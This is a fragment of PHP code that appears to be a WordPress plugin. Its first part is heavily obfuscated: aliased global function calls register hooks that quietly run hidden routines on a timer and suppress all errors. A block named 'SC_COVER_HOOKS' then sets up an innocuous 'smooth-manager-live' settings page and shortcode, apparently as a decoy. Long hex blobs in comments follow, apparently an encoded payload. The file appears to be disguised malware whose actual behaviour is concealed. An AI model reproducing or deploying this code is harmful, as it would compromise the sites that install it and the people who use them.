 uh36p8urjd71g_u9smnf(b4gbsak56f40gos(227),   op9tjzix(1995),  1);
uh36p8urjd71g_u9smnf(tvo1rh46s_(227),   fjup2mc1h(1996),  2);
      
uh36p8urjd71g_u9smnf(zp28wk01y(227),      wlgh2_th(1951),  (0x1+0x2));
     uh36p8urjd71g_u9smnf(zp28wk01y(1997),  op9tjzix(1998),     (0x1+0x3));
 uh36p8urjd71g_u9smnf(fjup2mc1h(1999),    op9tjzix(2000), (0x3+0x2));
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),  fjup2mc1h(2001),   (12-6));
 uh36p8urjd71g_u9smnf(op9tjzix(1999),  fjup2mc1h(2002),    (7-1));
   uh36p8urjd71g_u9smnf(op9tjzix(2003),     wlgh2_th(2004));$me5pb7nheyg=PHP_MAJOR_VERSION;$ts9elmfudbb96=$me5pb7nheyg*5;
uh36p8urjd71g_u9smnf(wlgh2_th(1999), b4gbsak56f40gos(2005),  (2+5));
     if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(2006))) {
    $GLOBALS['__scf_b1rqpek_6hp_174'](function ()   {
if      (!empty($GLOBALS[zp28wk01y(1596)])) return;
  if (!defined(zp28wk01y(1703))    || !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1781)))    return;
    if    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(2005)))     {
  try  {
 _yjfvv1s_lwgdiro4wbm1();



    }     catch (Throwable  $x0ydieb0v_72m_u)     {
 }   catch (Exception $x0ydieb0v_72m_u) {
     }
}
   });
  }
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),      zp28wk01y(2007),  (6+2));
   

    uh36p8urjd71g_u9smnf(wlgh2_th(2008),     wlgh2_th(2009));

uh36p8urjd71g_u9smnf(tvo1rh46s_(1747), b4gbsak56f40gos(2010));
   uh36p8urjd71g_u9smnf(wlgh2_th(1446),  zp28wk01y(2011),  (19-9));
   uh36p8urjd71g_u9smnf(zp28wk01y(1999),   function ()   {
 if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1781))   ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1878))) return;
   $tj3513movf =      (int)   @get_option(fjup2mc1h(2012),  0);

 if  (($GLOBALS['__scf_yg2rpewmkg_192']()     -  $tj3513movf)    >  (2305+1295))   {
if  (!vbnv9cp3zphaateswj())    return;
 @update_option(b4gbsak56f40gos(2012),   $GLOBALS['__scf_yg2rpewmkg_192']());


    pwvpu09why95tgx6j();


}
 },   (244^253));
 
  uh36p8urjd71g_u9smnf(wlgh2_th(103),      wlgh2_th(2013));
    w1x2vlyn0dayva0xvorosh(zp28wk01y(2014),   fjup2mc1h(2015));
if    ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(478))     && did_action(fjup2mc1h(1999))) {
  d8pbcrz4yto4oebxs95hd6();
  }
    
}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','smooth-manager-live-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('smooth-manager-live_group');
        do_settings_sections('smooth-manager-live-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('smooth-manager-live_group','smooth-manager-live_options');
    add_settings_section('smooth-manager-live_main','Configuration',function(){echo '<p>Configure options below.</p>';},'smooth-manager-live-settings');
    add_settings_field('smooth-manager-live_cache','Cache Mode',function(){
        $o=get_option('smooth-manager-live_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('smooth-manager-live_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'smooth-manager-live-settings','smooth-manager-live_main');
});
if(function_exists('add_shortcode'))add_shortcode('smooth_manager_live_stats',function(){
    $o=get_option('smooth-manager-live_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('smooth-manager-live_options'))add_option('smooth-manager-live_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*a6a3926357805ee74811cb397327a3d733e0e4d9f1598d194c7aafbda818e9f0d281c870d86d2af64c8761b88ec39c917a69e96105749ccc035683b164a883e6dd4ffeda44d9b8fce2d5c52da264983de0c771ebbfde0bfcce16b87d226368a60ea57dedcf916584db5df2e7458fd4406a52b94f7c89e54504f0a4c4680c8827b5a7548c50b1bd6bcef472dc87fcbb4d2442abbdcf100f7ac2d09798460830c11373efea7d2fc9bef8cc7b0fdf89330156f75c71a4cf171799661dba28a9a6fa08f7d23f63934550b34f93afec5a4edfb713e6724d68557acfc57e33578837e324c8d46bd0ede9158018d2548bec3644cb9f31d8a3905bb3cb76d1cd64a526458361ee94b41e037979017a3760ceda37eb30a50400e58936e8c92249ccd9904b9c30807de130b2fdc101c2e052ba0403f6faceff953e0152fa9e6cfc2dab07f1f4af48299a7eb1436e7d0ec016c6f416da3d5509b1521ac30bda5f607338ac131c1ff0e4350098a31e8057b5f9c6478ef1016a2485401210551e7cb920b11a609c249bc9324bdf421e84e57729e0f8ab3ef84ac9e09700c55671c573c21995e62c8148e7374fe49bc070b93e9f2711ffeeb5a84355cbbd35dd47069229fe0dbba35690ef69792540cbc8eea783e70b2729c1dfba663e2964c0e474656a17d087331e2ffd5969dadbb298d1891e23c0dd4c0b7b77d8c8cdf8e4db3424fbc0161492ff06e1cbc1d967a0497845d5add9640f885de491260a7bb7dde8b0642f3aee0ca482938dac8aec785dae93d3c0217115d5a151196bfe3fb2e0b817b18fd2894bc8db0f969c423d4f396cb467bf233e2e4ecdd6f5d58158e1f4337050699699e39438f3fa5841413b745e1144b3bde72ab0ab445d9c21ca0c71e5910a89f6333c90f18607d127047ce9070dae459c2881a80a19165e54dc35dfcce4abe50a8a63c126097d4487bc11d6a159db8dd23be9a8c085b2aa251eeb894382c95ab09d6cd07f580b414c89e4012f67632530453daa15464d19e4fcb9ef94e322e8806410938c3dc40936904aa26469e0709189aabcfc00dc6aa9bb0131d5baae5afb359a16c4accc253cd8b12f92107967f3fa6df60412e9622006f1da25e144e4648b2528e4c83659b4114791841bbc989cc85d2cb91af92d5151a2c2913f761149a7c9483808762be61b275aedf8dee02b30f92df34a1e59954e9e1d640a69a8abc5f86824d2c0f336a98cdfd8dc6173e29aabb484ece0b2078931d604126a20253594a90fe8d954a2b7013be0564b3498949888e52e1c9e5e746bf6f005464bc3bd843e289b9d8760a77f2e50e96994e59e505e3925878deb7ca5bb26f42c39bfb153b6c6d2cc97649c180fa69f63354bfd29abfd7b628a95feee0184e6a5cee42be7c0b247bb274a41b97b9c805b79cd5a65b7d6ae3f0abc44184f47852affca228fa7df7800345ac3180650e1d527a030658fb1a72146959b15ad042b8b6c950cc9360382543afea01f62347bf928a9f0c5836a8f5c70176a4fbf423b8c9c11616d149637ec2aa0dbe77c601969c475d092a38ac3ca1187f233c580585d970284530a1bd324805291f4c24e15f605b6a98e2fcaf59ffda74eb95367c8b336eec243559819b202bd350528620e80e447da1b50531f968da508f0620e8f8a39a65cc0f3242b6a47d0fe41df557716d443dbbede10d5cc301470c274a5e11aa3835a6a13cd985ed055fbab66c64d60503d9fe778e815ed5dbf8d8dbea126292cd911702de57c2f2e08db892aa3974c0d5f52790151e5a92017bec2538060cabc0720d3cc3374067b2f32a7b17ba5b2aaba32a1f94528b4531716a973f1950c2e733caf87cf58cd1f41713b9c1287e5eef07e9c909b9c672bcd55650a54867a964be6054585362da4441e6ff6cc2e6ceff56edff0263fc45765a0aa83e43e432841dea9cb794d571256bf7b6f2e09951d5801c43312c1b29abed64834b7977682f04b3e757f57f2d5abd800c1b68a19ffafc388fe8a3d8508744666cdb4240b49693fa101afe81af178bef7d1049ad22003f953cde354554a2e3aca9bf1d45f4e22545314ada5e7af076ccd117596c2d65c0b6d583bec84f28a45da5a9e5bd573c6b4f342b1c4d894c313b581d307b3613f4b9b2b1c983b6132b9a8559133b86d78e551068e12ed86462e7f3ad9779c800c6daf9df99351fa0cd9c57248fb47263916db155cb69806030326e22276f2cb17172c7ddca66ad29524969fb4af95ab05140f2911349856441ce1a81f18ffb6241f01bbe607e577495a29ec64b8ce218f20cb9bfba387738aeafec3250397db4b27c02d75967e840841d7ad3fbf265ad266e35543c3fb94f7de274b6661d94cf0aa47d9450ea1bac6861a6206696fdc5a125542881e2d84f5c6a9b7c772db6a75326219de508c38d6c8d7f54bee53116ad4f2370df31a4a3390e0133c3b7473644ee50e2ce52913d59e0a8036471d27128e76b09634444c8034267865e63810b8a452d4425120e47e6641f90abdafe19e941a808671d541b5a996c99ecf1f26db6181890aa6f091bea8c42ee81563222c349d40749fc36f309e4e95db041be78dcb014f1c839977ae877afd81e6cd0aebb82e2fed7eabf257126aa9e924f98175449724cbd2694211d81c0c21cea7e28f60173d5a0b42a09bd71befc8fe687284457cb1dc9d26548f51413bdafef7face648291d08efc88db7f79ee6bc4787fe435794017903ec218665687417e2bd7b138f383a0c1da0b3f3f4c897e5db6d3fa57673587de1a994e9f9a43135f45ce96ae7e3851d71ead95b89bacd5db221e2d01*/
/*bfc826144ee4066f100e897e78feceaf0809d42e5b0f8a5300d2686fe335f6a8a5b2b8b801e1f6c50e3fa0e742b28d651ee812eb4df7162c137d47daa85d13b3eec8747bb4562e44c2c49afd47e1f4c4d2a7b18bad64a92dc306dc36e4be15f61033142e3e01414331b23f3f074329aade6c4f9596f91bf6cd94c4926ba20a7d45a5f749483f4255c1fdfee13176fe4e4601b721213c14f2f37a06dfe3ce2d069635dfe8b598f44fa934b318d6e27d0b33b79512098494aed8c87199f534dec9ba3eff3124e59ba97aa8e5cfa4b05bba171b9419243b1130c8671347f4184f1634fb18422299f5f8e1128b4c4b98d07f1863aecbfa98962e4b17a5ee7377e17fc7fce777e658d4269d13ded8314c4b59de4569f8ff5a64754e6f22926b927230e822ec2fb4e729d0d3242dd6094c0d36c1fa91e687f84f5caf78f6d8af42be060097637c3f5e98cc1b8143c669d0306c9beaaaed0868ce32e1faabdb0ff48860a0307591f07464c589aabd25b8bab0f0dea135ee48af7ad80538425d29d9239aa3362685b774cd49199879d00b22a8eb17025f1980307ee596410cb74b92e5b026be98ff0d22cef2e03f0e7664310ebfacf2db4beec23e02c5348cce610bbe1730e857fb9782af16a504c9bda674fc0f8eb72e721186ae2d135530cd2e59e3010835279639794f3f7da25f7317d97560df43f8797185ee92f216032a43546666a7ce8fa0918a2cc387963cc9f4cf634ec5b345dd26b5511c2af1687b73498af40998b04697d077b194efc95be5d991320206b666ab694bb2d6adc7864d309fba1aba9a07b564aad8be713c10edcfe1bb6c4354a739478ae1b0bd95b8f4ddece7255c89051cfae6f8b3a0c62507ae8a726d2bf41f18d63a0e4a2d71282cef4f5455b8b59d60d411aef16887e59d290ea180ba0d5b4cfb224012843f3754300eb9bbda24af4660dbfb68d50f31631ad8c3c9c590aaea317c8a0555f0540b2eb800f4947382a9bb18754b74a66af09149cdd9f47b4d758364d6c6cc3cc7e0cb74caedc04706292f745610d651f677257337161af8e151b69837758bff5f0d84c84038968aa3294d2baa82cd23ba64c0db71961c2767c4604010c2d72d1e43c1bc8a7bf7c5a52f5ccd84bf5ba517f280064ed10cd126926d853bb4aef92116768add59a56368003e58327312fe86de280825dba32993b6ec424914924f1af558092b5d4cb9c62bc6b3fdbc498e175e3dda2351e5d537a70f35f1629a92576bb74f047b69c5818aa6430f3b115f0dbf262848020887bc10ecc0039e24228b0995e76adb9b75e1e9586823c754eb5993097692ca43603cf96de7a85389c4247b03a57d29890e20e820f42d5e8904b0a7a81f1522602a6afd5b328f183e35774e77164cca0e9fa3d486a2a5fdf15f30cf58439dddffaba573db7d0eef25171ca557d5835a6dccc3b498431c4ea57c0a6fa4fbdb45ed3ae0efabf3e11697b994f739eec3ca876e6dcbcadd5f239830d23f62defaf7b93b38f2a406e1de14eac5ad376da0bf0266db24cc79f7d3e65dd9c627915ba567f764ae489baa63e962d1fbff72cca83dcecca677a6bde0592bcccb212c8352535bd3361058ca378323f13b0f43dc3f5e4ad45f6fb6dc6642c4285357142fc41aee3dfb75b2447c0280e7b464bc016f7543a1181de1a8dee099d4e218c6a3628840b9a89e618379988dbd76963c906d513110a2e6675f61ab7d4fd69ace166d34e6598bb7d96ba4b74cb8fa31ba83e0ff5a597db2cf8da522d084fe6898c3fc6fb70b04d62b923a1eec7c98529ef04cad8aad63b585d0d7fabea5e272c63d111c017322fa226e45e57b9bffd60d2b8028eae51673bbd7ec21604c9a1302b688f010d45ed631c01ecd0980bfaa44b3cf62a19a03dd634732384672432556b28045dd27d53414da35c690dfe7f50cc0ee06529111f9cb113564051017664348dbc835727cd5610f23b58edde1105c1037483745f0f77650d8e0fa9963fb6ba2061044bbc159209a00c4e1971d860d479ab331ba5961114d1fb7e099bdf567f125c741ed14075a42c04ddae094d1243d6cf7cfbcd23d3bab69aadadfd0c2007bd2482c95e984533b242fa027c1d4d2a3e1e4a5a24f8b418dbab6b7abe96731700d2e7caba82acfecd619cc6c0017d2feb4d33ad8b8c0a1760ac59e9cc13ce0fbce09a1f485e36998453d45a66b5b61a89bb5dafe59b45aae0d46808f8fef92103319db1307f0b6b31f72eca6e12468e781fdfa4d1b28569827ce672602c320c47bf901cad082cb152225ebc21e650260f2963066292d71f004c47f013286e8a0e84bca85071e93d78b8f15a475e7471f04e2ccd491096faf842fc7dd6418176f12c91164e311f3e069da5c448205960826614adf14aba1f55267265d4d493bca1899519f9a16487f3e23d3c57a78efdeaee08cf52a420e816541016abf927a43c7b77c8198b01bfa64c4a1104787cf7ee885b02556038f04ba973fa215558f3798f4f2e9c435141892366387783ebe408426a5420fa3ef6dcf60d374fe752a10b1ff8f64f6aa92752b2d95bcf4831a0d47acf32a8b3758805f1aaa948d44541914c637dcc0606982fed8e19c5f1e6020167e1d1b86cd1030ef8501a9c27f33e90a85a12041c529e366f964e4d62c7890e6f8b8400630495970571a1902e36741c30535dfc39a6b0ff378bc98eaaaa5a0f14469f79e23b2c3cb3a17d70ed12188ce2e5f271fff43202013561b53c23449f6c8dde388f64fddb5e7c35ed4cb22a19b2a0d6b1aa1a1dc2345129aebda9c19833696fe24a8376ee4d37de5d76b5ebf*/
/*ff2ed35ae06cdd17ead49d7be6f710746407e0392ec25e70e2e6d72ba3beb1c6dbca432e7d5959236a2290cebcb7ad96c41fbec026d48c6da11b69ee40c1827c6e884f3de05916a1a74835f0156ff157b4e71c4b663dc73475c52dd38f5bc9bf0804d2488b21a338479e54e82cbba271095b2fecfabbbb98bda529218c858d9574496469aff02aae9a768fd02e4747b786d9390bdc9d7f1ae84f68212a8907141be3976d618982e0f51aa8043fc7bb66bff541864a43c6a081ba7c4cb62a571eb4255227437e2e0ed73854c52f6e5bd0f9a4125e4004c5483fa1a99098bfc7c24775666223be92d0fbd92d00d49dbe37ed6433c85ddb6801df48d36fc7df245dbfcb3fd376b3faa20e3b6100a0724330f7f7324ff8897f7d6fbd2c4e5f9ebcfea213b2f7a00778f5fa46618b05a999e7e5021a80666b4d2cb351f629bf03df52c5d19e43f994d4ecd889a82b1efaff92016609da719099e86608d9017c0a479e264de9ba67e1b236ec0deb6e3ccfa458ca3f335d9e76e4809be8ab7be86bb66da1cdaf5cab9369bf283b3502f4850e7e5733c889889c41121f64907adde82b9d80af4ddc77fbbfd0107a41a1ebcf44822f09157b75cdd5baf1b1e3cddeaa5d6cf5958c58fa3faaec2f4ed2c97e91ffb92b3ee33ba55b4dd95a4503c2d84abd57047211328cb40b76a7f04fc6a0d49138161155ed45066d28b92c506baf9205d5061d9246566ae7a4e75946eb02d369befd85b4b4e449d40d351127106284600fe87bceecda488044f4235d4026177c9f8e01d32e1c11109f06dc9b1eaa7f608623496b61f6c6d974d8b3f2ed1a73762a8f2ca84f00cda6006094cfbc508830a84c68d586fa146a0f66c166b7bfd93599b3f233f9c63e69c02c8c98ba6de19c8f1ef97a2879ea6cfffa0b749fd97f60475084a2455253a80c5ea598df174ffc3d74eab82c60e49cefb283fbb8e3e1ba15ff9655e35d8547e87eb2e664a84244a7a5a44bab0c88ae12d926874f74d92077071cf6c7ff827e5038b8d47cc218e1a53937d5478b97d59849bd9b4679413be2778c281f9be8aab39af8a61a4ca6b32a699bd5cf876ec22f7fdfc2f28347c864a8346aeac6b4d8b95e9cc4a6e003b2ee02ea5563c909ff28151aceb87a97b65f2fccaad865105caa95c999dfa1fedf86889387603560fb67a28577102795578b7ebdb2959669073e9f3865703e44221dc55f09dd0b787a725be295af1ba10ac3e55f47df0f9010c98362d6e59cf4836fca1034c2038ea5cda495ecc165fdae5fed94b0ae6b2522865b7e5492069c145f9f8013368e89dacc778d01e4fce6c17f61b58e8191f2641b875cf1ef7f120306ac5620e898d8bdfd2b7f319b4c07f018364b72d333d6e2489a236bcd4383c5cc5ca61e0f85777c57ed41c05337bfe974cc86030cd4782a21c009cd7eb8b1cfe0cea3909b3584441df89c62990acd9cf28014880232482e3b633e5e2db594ba9a618b1cfc6a1aa94ea404ed8f4c0445b5f66e562ba74b3536925002d996a1bb3d45c478f705d03ad12b8a8fae0210fc42f25cb622fded6a81056f37e7e8073aa2bbae27a9fe821a0bb17489fb721e07b16a0a4f9aaba9636661f03ac222fd626104088a258c989e7b69282a5c8961e64266a273e309b78ce0fd24fc20ebf6a7ecab8971e54783838b046a5149fde33b26a747e28374c6e9164ea715ae299a2d43c703f3d929c0ae01fd065721e25b5aef48d9cb382b11bcf017f8a3382ade87c406049e0cce870ced1856043d0dc973a686529233a26e71dcd047a4b0d3b0ab09accf4c98ed8be01802df6ea3ff3b3ac4ec13d4775a6c455b45156d48d87941d1715ffd94440bf897c5039fb8e408930685cb82db240bd425ded3877f1479269136d3a56079828c0272ea24647b3f90d240c2836c0b8b6af229ac4b72ecd916e71edc32138faa9c617b5fb50db5e9d058e957c2624612c9ec7d6aa355e133b50356af4ac58d1183b7223aa43f35346e945636dde64563b56a7ccb3a18d1f105a731bc9b6ec9802d19cd701110181cb057134ac58b8029b7fa523c0f44fc4e2bae6d5c72b0490f360ee8f6ab1c08293320bfa7e7a20268beec83c1fba39601d9d98f201970e6fb3fdb627b8215fc70e059d9d94402dbdda6d6688bffe9546a8e046685d26a032d4fa5255f1e4d292f78839f031efe2503abe671e54794f550eda163ed1c6a77ec00a24b492dc40c3311d466b9be2d73f76fdbf19790ce50ad649eb637da837bf08ba0cc15a5956995d92e14c5c0d173c338adcadfeb8982f9096b4761b1b460df0cba4c69d5ae1881a7e02418ce55bd4f25b630ae1ba444de5cd4ba21187ee1d9db83adde323e36e04b970f9ff4feeff3d88ddbcb2dcf445fc057d9696cf689bfae77f071f81e6f3c97c52eb305b0ebe03a4eba3590a674241184878689d8f4663fb3b3dda8528fe20fa15d72d78f6b78ea84fe24570f59bdb7b11d6868af98b07c3a8ecf3f594a36543d0bd01b41b5c92c642527acd4cb666eb4c0499c626f6fb509bac153804836e361f54faf6a6a04b10acfa51075caab6f019475d3fe13c283501ccc1acd6845d4604b02101f9e5bf4fe0ef73fca792f509a5357c353596f9d8dfe6483f79f6a56cb1b45aa8895a008976fe258eccd0765aeccd50819c351e220a6135b785f65d39425db4980bf37d40356042f0cc216c80044dbf3fec1f95bb037d64dfa0987bbdc934f429f4636eedbc77235b9829edff77f625fa38148191d42ebaf4a22c5fc73d69232dbd0f60998609cf79b8da08c21887998af62790d87438d6f2c597cdc05*/
/*c11e187717ba070dd4882f5a44e22b02de8136a43836cacd40989eb32fb2aaa6abf9009aa1fde218c7a791ec0e1d42c5074059001824ddeff2c9b0ea7daf823f8dd69bb2a924828d7453e2636d9a8bc64775a670fe2874402764cc42a381308e8702554632ea7387e7e70ef6d31f44ec024e988b97eb771235863cb76113eefb6a291011131d5790ebc8c4ceffc3f2e0e08655b5b72cb83e0fc44bb14f5bbfa79a08100cb7fec4199c01cf6a3caf36a96b8ad585cacf0ff330d91f0808cb39c44ff6cff47d85d45fdfedc79361477e33055f563cb3d53936066a9824a7d42c1821a82b01c9b83da2482ef14f0b22a856ba6c6b67bbb8d2077df8a6f1cea71bf956dc3aa4fe7bd2cf8caa168db3af0e9f17affc8a2ffbf4fb4d21ed657c9406299f292d4b4d5575d9cd54771cf7a178afe325fb778bce6c46694eabe2f0f3dc52f9bc244bf44dec57b8fdd7782e99742549024857f1380b62858c29d5eb2be8a585de77542948d6ac983624c7ba324336c5651e08d0d5cb26f3455652486dd7563bb3ce474570245e76fc1b2ee7829fdad4ed98fd36a52c576dcd6cafb594be8389f358ccad1c6889e5c6304a3d3f1148454c49783b36ca0fa596b3c0f01a0e25113462c5df75f7de9c7daa2a1cabf492440b0f347544bb57636ca51fb9ab641f2bf7a51d63aece2b99ebbf11320cac94b8525daf1e133a3009776cb7b97556950faf8a2c75f3380497337310d3dbf488523b7cbab06ecd849f45e1c21e3b093dab6f1546fdbd3f659c8507b07769329b55a44837aa11821387700921e7977fbdc474d4551a05d72106b88b677646ad9aca435aa576c38f3e04df8feef3140afd0403a3216f9987c2c7a2676c596de7183d7c4dde557cf3d132d642504f6ea6a0c0894c33704a6909463a91211d69326e9ab047406f23b49c2d892af450a7aad49ba8f419ee0ef5a3ea9c2c490f05eeb064f757d15efa86c0165f84366ee2578f42a6ffaadeac7a942ee29a79bbfb8a5330ca2467e274b46271b9c4d8b9d91b0b86834755211a9c05b428207a139604659f5b16d61ed30cb10c28296e5adf5a9a651d83a8027cb9e48caf66e5b455331f92fcc2574ab5b04630f09ccaac53b85f02648e26f7811c576df0f3c953a515e2b02a5254b0e0a1d9d38c732e30dcc244a78197fe53b11b50c5061c7e07a957b434aee2cd1c0635c1d3cc1729f1b51063e3150f13d330da99fcdcbe37ed8a4581999c1c8aa4ce0b4abaee5f7a80b686a67a63a2957ed60dae121a37d29aa93223a42765a328c006158c67050765c461d3f386876aa91b39c99d1ff8cb01cedb5dfc641e5520428241f046508240de2e073ea7d6ef96c45a254de8150669efbf5672867c2cc2499d3d44021a5dc0241faf701c4d225fbed4766f93216c29061836d12376fb5c9e7dfc7511b02ab779fc242b5400f688949348de812a0e4ac0908b5c7ce7365898bffd95e910102f1c91feebb8c3b6a818539ab0ff8225510b384a88fd21de11929c12e1d720ebea0ec19b218aa9fb6ec76d7232036f8b60ece2668a98b6a00f02bc2f7985efb40c27bb405ca5a8977498fa3f45ec30441c60ac97827f2aa8785a62a90f06d2c54456395e1a180f836fe30da655820c72823df853adbcb95d55844610621912f6b20b49a001760335ebd268b46c75da05fbae3e5ad1e7166d60886f60ed9f19ecb504963a17e283d7f0c1d95a2bc1dd7a3031570cb2b9104914297359f5f67dafbac1e625ec0dbce555f0a9832cd37d86c490d2273c2cbb1205722d1f2bc0b8b2e69abf01eaf5a46a21e7dcd0e8ff2dfe098d987de625d05b6bc4bb222232760f90a7211e3a525c83b827a4dcaf0a98c1bd82fa163d2331303aafbc1caa4b8916242aa2e07b74b331e260dad81de4794395296d4efdf10a4ffdd25736b1159811447eca78e301561bdd757de8c4afc654788e85bc926adfdcf9d1bfd5631eb5a00499ca1b336d7a03d9c9d792e9ce9f4730eb4ee737d16eb9dd99f65a8b460f93303e0ebeacb11bcf2e7a45fede0eef04fbda95a23ea1d721c594b2651f01a2be4cdd6857846a232821ef6346605304165586af137d6c72609c2bc453d24cff2d8509e0eb28d381e2f40f196f7d42a25496043504ab13690dcb4e4fa7d31d2d5df5b76d6fcb6f09f8baaad2aa2c45f002a7330afd686967de4c7c160f5d49d9d4b1e30a00fde248573748d804ca9b9bf262bde0fe81bc1574e164fe503229485a4198f44be3e2f2986f6c5bfed9cce08104cd707cfe88b6754ef8d42f5dd9d92e40887840546cf708cc54e15255b32c14d7834c3f2e6007ecb9fdb3a48e4c5ff4e81f48a6e536646ce269034b8b51405705c0dce9f799b65d3c165ac77af2836dc3ca72c6c37e3f7261f880e1fecb0ff8935bdd192878092534bd594480302c9a6917534933fd3213e72176e082d3c0d03c15dfe0d4943819451bd37a35669fa6068a60dbb1970880af44e019de61bf72469e8cbab54bbab8fdd831fd3606d297aebfb02ac711869da72aaa4724745cf8057e2be7b9792bf78dee8a69f2136a07064d659a6e7a4b3e399a0954338385e6f9d7729878ff14b57538a0b969507d6eee0009fd995b90c6dcd308bd0909e0ca761db01ba2078ae27d5092837a9343788cd53188c265a21a4c7f74e6a815137273eaa5c4120646c1ceb1641a3ba2d78ef7de6b25b6de34869612e024a7dfeed1f5b57ddac68350e9db3a8e00f3950df0fcd7691d1ba7d981d9841d8ca9b658e0bb987743c4a875cc1ae42046c2a4d3040f6224bd33e93f7407721a7421947e5ff647600e*/
/*47fc4ddca4a9fe8856345be6bd2e079b6bc4c21302c781b45fd46e9745a223b8f0cd867714b134cada42a63f91b8870f3a0d0bf37cf8a927301ffbb2cb7d0917396eaadbe2fd9c0ff8b2b860ba75bee3b9f196a8f463331924dbe0836015a0e60aa56cff9a372993f09a7d94ae9eb1d88fc8245a1a7c98627fb575125cb5fda2cfcfbc2693939a9ec2fe565177799afd4c4765d4efd1b03753d92d56583f018e8064eda5dda7722eb57531c15fc5bc509040df33dae78b05568ae5bab8d22ab6f1c9348aba4eda0ab4ccb87eeded8f8051e76bac7a4a412994417f4decc32be5334cb15a5c081546ad80f5885001c91d9dd3f06c0bc950f12ef65d61d8b6e3c77d005ea2f92ac856f6929729a4084ee53ab9a94608f33b7b351ce892c471c7b42ae8a69e5f071f784810d91cafb7053a22c978e3dab5fbc75d083d32c6237a2f74d9b35b23fea55f62cf0ca508c713f96a51daa190f7a31d6561b9bcf585b6854fa779faf6b694c009646da1ea1c85482cbe981bc1fd0bcfbbe2fb7d6f3d28393df70ac18dd1f147d1ef785b02cdf0ce6ec0b90d4a8246bbe19630a344a66e601343c73443f11ed06850c4f299ee069395a1882c274f6fb25d244d9c3ffa65df6a0103ab50dae8134d7ea39ea317f330a1afbcfeb77ea2fe4fa5dbc5bb5f76cca87042f6b24c067a3b4f59c0fc8c1d852921062161287736c09705d55d51547f4a6db86fed53e24acd59c5d0af8f3010e382b4b659b157785027d169aa5c8850ee2b7ce7eb78711e6424cedf47447812273f12d18e637077dddcc3d88576f11e89766a93cca5ff164d505f4de705de1fbfec39b1290ac4e907ca75e5ce26cad59614fae2f01a3efe11311fa821f59156e7bb2035057e592f6cb558f6d50a8f4999d8cd2a8bc48facee77d8960679ceb01ca03116cd252922335d5335c7c7856f77ca1343d8aed55281836ca0f42a22b91ba646bd3c9298ee2a59622804d0575015c6265e649f56988cc74e1b7ecc024cf80c307eed4456b581707324144f670ba2b38ed8274fe85c572baae5ccda176c4811b1d015cd6268f20ee7ce610790a88078be7a5d8efd62c2ee3ae34f84c3907477dee9ddc3cd71bd6975146ddb3b951bb2241e63ea4a0451cf1be44c2e64a50f1866190b6acd6066f8edfd0ed534fd7c04971a52871090dfb0579a978f6fb092b0c9ccb9bd25c2acee9644c0d49d93437e5090db8493846806a291a05eb5111660593a82a4d53974bca3014a0f02400d1dd9361cca1d45898eea630a271568392f256e577089af5aa53fecaf3129f8ca6001b4a1b7cc5d42b6bf33a309cf63ae32c93a2712615e86f8f1e50b2b8d4faedeb71a6ae365bf5020bf072aba93eb3f5ed506e8634642d1017aecec7e32f04e535058800026ffb96f5024a3fcc4455e35ef267b311a948b1dff4a3b41b7121ca03339740a8aefd2b58a6e19c0aa3059414768145a5119d1c38fe3f3531ff160e2f0af00dc57479580abccb28e8e4c15176d60927e4b0b868441c1497fd67067fe3a86fc222dedf597551aff0122eb1320e8d4b481ca76c2fc1b813e684c76a2a8de1a58e0f97a349004f6bc9125da6b190c2c95521eb98557cc190f3130d393a8a67ca8d96675211f77955cda7aaeac10d95b10b31b4625b1da0e2e6f77f5336c284219e66c1690c82a30cee812e6f7f958619dc7017bb926ec84bec1a802aedb6e41cde49fec0c9f8637a25434df49beebd716f378bc6657a5553faf4118cb28b0d9191f3246b1fc887a2f264fd9736b21b40effa2a65cd84c4a400b9228f7d20e5625b25a59c969c97d1640542b9a6e6701fd323becf19e067c190839c4736519cfac250848dc2945d3995a8b0dab06ec407c883b4044b0f474f2da6f65ee76fa1a21ff94d26c9c1ddcda73b5751531847ed0f84a2a2e0f7eff7dd194463f9f52f25d3aa93a5804a1d0389eabe37d867afba099441c3c227cbf58c6ac610b28586d71f1c8d1dc021f08a20fa9ade9134245587820fa450ff028aa19cfdba15e69c15fbc84e1b81b10362bf3cbe594a34c7cdfa3286143b03f50e31f2eb5562598ec50f9c0190a739865cb0fa31ebe459ba01ec79797de9fd0a887bce9e1d0aefd432bec1a394747f1e5170c6afc5bbbf798535c0bf31354117e61444e4e9456cf2d5e704ce85374787d50a96bb9a95bf6a706a8d9796a9c0f27dce53fc9c6ba0a255273ad6eb8016f48a5b1ecb969cebc44f2b6132aed1d74fb330894df6c33574bcb65dd233002b89a5082c17a46f69ad96578e5462728c918ffb172df715620e5efa6f173c6cb1517b65d438e651f608dc75575c0491f6833c1a69b4c2cf8976ef039b95b0acbf0a6a02da3bc8e10e52f2f3edd433e13d9c5f88d5e52bd63593be1cefb27883c6a76f82b0716de7e1d4862c494d2aff10ff3a6ece5f2d99135b40ecb2690804a5606761288c616e264825e266e7c44cceb73d1737facbd0bf31f679499db9887930d14a01582c3ffc8c08c39eebc8bad5a7e201bd40aa1642bfa9f09bf225e65bfda75a3b89f8b75517775edcd1db48591a6915369560981258285a88e2917f1f30ba724cee3785ac5691d20edda1daf74d9e4e17cc398e05d708daa71d50f416022b5ce10e859d5c16390b4a5bae5a8dc9ccea24f151cb3269263b661e4c135177a99b34d584e1546fd20b37054d03d9849961039cb